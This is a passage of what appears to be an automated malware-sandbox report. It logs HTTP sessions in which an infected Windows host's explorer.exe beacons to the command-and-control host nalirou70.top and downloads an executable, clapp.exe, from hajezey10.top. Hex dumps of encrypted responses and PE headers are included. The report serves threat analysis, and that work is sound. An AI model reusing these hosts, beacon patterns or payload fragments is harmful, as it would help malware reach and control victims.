a4 78 4c 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 3a 01 00 00 dc 02 00 00 00 00 00 cc 1e 00 00 00 10 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 04 00 00 04 00 00 ec b5 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 82 01 00 3c 00 00 00 00 20 02 00 d0 fc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 51 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 6e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 01 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 39 01 00 00 10 00 00 00 3a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 3a 00 00 00 50 01 00 00 3c 00 00 00 3e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 8e 00 00 00 90 01 00 00 18 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 fc 01 00 00 20 02 00 00 fe 01 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELxL`:P@ T< Q(n@Pl.textp9: `.rdata:P<>@@.dataz@.rsrc @@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49880	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49855	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:37.944626093 CET	8916	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yvlvga.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 190 Host: nalirou70.top
Nov 9, 2021 22:21:38.934572935 CET	8926	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49861	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:39.266026020 CET	8930	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tqhblvfem.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 232 Host: nalirou70.top
Nov 9, 2021 22:21:40.242944956 CET	8935	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da 68 22 bd c8 cb cf 3f ef c8 a9 a6 cc d5 02 47 71 98 66 3c 3d f8 bf cb 67 3f d8 97 24 a9 b9 fc f0 ba e8 57 2d c8 a1 11 19 af 7b 69 ad 72 5b 80 1c 97 36 db 64 11 82 f5 51 aa 3b c5 da a7 f1 7d 87 02 f3 35 43 25 11 00 ac 49 1d 02 a1 b7 28 e4 f0 f7 11 41 a6 a4 87 35 ce 19 c3 ce 85 d5 3a 94 d4 1b e4 2f 62 f1 22 27 c6 99 0a d7 d9 76 c5 89 10 c1 8b ba 97 28 35 bd a8 8f 59 9d 9b cf d5 f5 de 35 1f 98 92 f2 b2 6a 05 85 85 0a 9f 12 6f 03 62 53 b5 f8 80 99 8b 84 80 7f 1d b8 78 c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 c7 8e 07 e8 df 4a 17 7a 8d 42 14 7e 26 a0 81 ba 07 47 7d bb fb ce 3b 33 f0 82 6c 27 b4 e3 e4 ce 70 68 98 3b 6a fe da 3d b3 f5 3f 78 81 42 7b f9 e8 f0 85 a5 46 e5 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|M+%t+xQ<e2P0YObyT=a'4! YU\dIXKg[Ge92)g z6\E'}WpHk"HI?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!UvyOZ:-A%GkKm@NQ>[J8},s"JG0Z"?kQTJMQCd%\!&Q#F<pvA>C/CbGBj4VFv2Bo]6HPg5P[Fj6'NGc_,/DO9W%bJR}Tzl9^\mc=>"}h`1%@GN!K.iwA0!Wnawjg";kzRN{},zHB(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;=g&9c0{%#=9FX?SCnv4ddOU^Tiz=p.jh"?Gqf<=g?$W-{ir[6dQ;}5C%I(A5:/b"'v(5Y5jobSxF/Mv#JzB~&G};3l'ph;j=?xB{F

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49865	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:45.263072014 CET	9102	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rykrbxyl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 228 Host: nalirou70.top
Nov 9, 2021 22:21:46.243541002 CET	9103	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49866	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:46.581892014 CET	9104	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oaayoceae.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 293 Host: nalirou70.top
Nov 9, 2021 22:21:47.560492039 CET	9105	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49867	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:47.884145021 CET	9106	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ukalfymca.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 318 Host: nalirou70.top
Nov 9, 2021 22:21:48.863132954 CET	9120	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 61 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 86 4c 02 71 17 e9 f7 dc fc be 1e b4 53 dd 6e b6 46 4f da 00 e9 ec 0d 0a 30 0d 0a 0d 0a Data Ascii: 2aI:82OLqSnFO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49870	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:49.553529024 CET	10153	OUT	GET /clapp.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: hajezey10.top
Nov 9, 2021 22:21:50.416901112 CET	10507	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Tue, 09 Nov 2021 21:21:02 GMT ETag: "59400-5d061afb7963f" Accept-Ranges: bytes Content-Length: 365568 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 92 82 96 f9 f3 ec c5 f9 f3 ec c5 f9 f3 ec c5 96 85 47 c5 d3 f3 ec c5 96 85 72 c5 e8 f3 ec c5 96 85 46 c5 9e f3 ec c5 f0 8b 7f c5 fe f3 ec c5 f9 f3 ed c5 7c f3 ec c5 96 85 43 c5 f8 f3 ec c5 96 85 76 c5 f8 f3 ec c5 96 85 71 c5 f8 f3 ec c5 52 69 63 68 f9 f3 ec c5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 32 b7 75 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 30 04 00 00 a6 70 02 00 00 00 00 10 9e 02 00 00 10 00 00 00 40 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 75 02 00 04 00 00 a6 1f 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 9c 32 04 00 50 00 00 00 00 b0 73 02 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 02 b0 17 00 00 40 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 97 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 2e 04 00 00 10 00 00 00 30 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 2c 64 6f 02 00 40 04 00 00 12 00 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 42 00 00 00 b0 73 02 00 44 00 00 00 46 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 09 01 00 00 00 74 02 00 0a 01 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$GrF\|CvqRichPEL2u`0p@@u2PsBt@@.textX.0 `.data,do@4@.rsrcBsDF@@.reloct@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49873	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:56.331912041 CET	10891	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://muqembbjlb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 273 Host: nalirou70.top
Nov 9, 2021 22:21:57.324249029 CET	10900	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49876	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
